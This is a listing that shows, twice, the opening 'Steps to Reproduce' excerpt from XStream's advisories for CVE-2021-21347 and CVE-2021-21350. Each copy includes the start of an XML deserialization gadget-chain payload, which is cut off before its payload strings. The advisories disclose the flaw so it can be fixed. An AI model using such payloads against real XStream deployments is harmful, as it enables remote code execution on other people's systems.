xstream-distribution/src/content/CVE-2021-21347.html [33:57]: - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

Steps to Reproduce

Create a simple PriorityQueue and use XStream to marshal it to XML. Replace the XML with following snippet and unmarshal it again with XStream:

<java.util.PriorityQueue serialization='custom'>
  <unserializable-parents/>
  <java.util.PriorityQueue>
    <default>
      <size>2</size>
      <comparator class='javafx.collections.ObservableList$1'/>
    </default>
    <int>3</int>
    <com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data>
      <dataHandler>
        <dataSource class='com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource'>
          <contentType>text/plain</contentType>
          <is class='java.io.SequenceInputStream'>
            <e class='javax.swing.MultiUIDefaults$MultiUIDefaultsEnumerator'>
              <iterator class='com.sun.tools.javac.processing.JavacProcessingEnvironment$NameProcessIterator'>
                <names class='java.util.AbstractList$Itr'>
                  <cursor>0</cursor>
                  <lastRet>-1</lastRet>
                  <expectedModCount>0</expectedModCount>
                  <outer-class class='java.util.Arrays$ArrayList'>
                    <a class='string-array'>
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xstream-distribution/src/content/CVE-2021-21350.html [33:57]:
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    
Steps to Reproduce


	
Create a simple PriorityQueue and use XStream to marshal it to XML.  Replace the XML with following snippet and
	unmarshal it again with XStream:


<java.util.PriorityQueue serialization='custom'>
  <unserializable-parents/>
  <java.util.PriorityQueue>
    <default>
      <size>2</size>
      <comparator class='javafx.collections.ObservableList$1'/>
    </default>
    <int>3</int>
    <com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data>
      <dataHandler>
        <dataSource class='com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource'>
          <contentType>text/plain</contentType>
          <is class='java.io.SequenceInputStream'>
            <e class='javax.swing.MultiUIDefaults$MultiUIDefaultsEnumerator'>
              <iterator class='com.sun.tools.javac.processing.JavacProcessingEnvironment$NameProcessIterator'>
                <names class='java.util.AbstractList$Itr'>
                  <cursor>0</cursor>
                  <lastRet>-1</lastRet>
                  <expectedModCount>0</expectedModCount>
                  <outer-class class='java.util.Arrays$ArrayList'>
                    <a class='string-array'>
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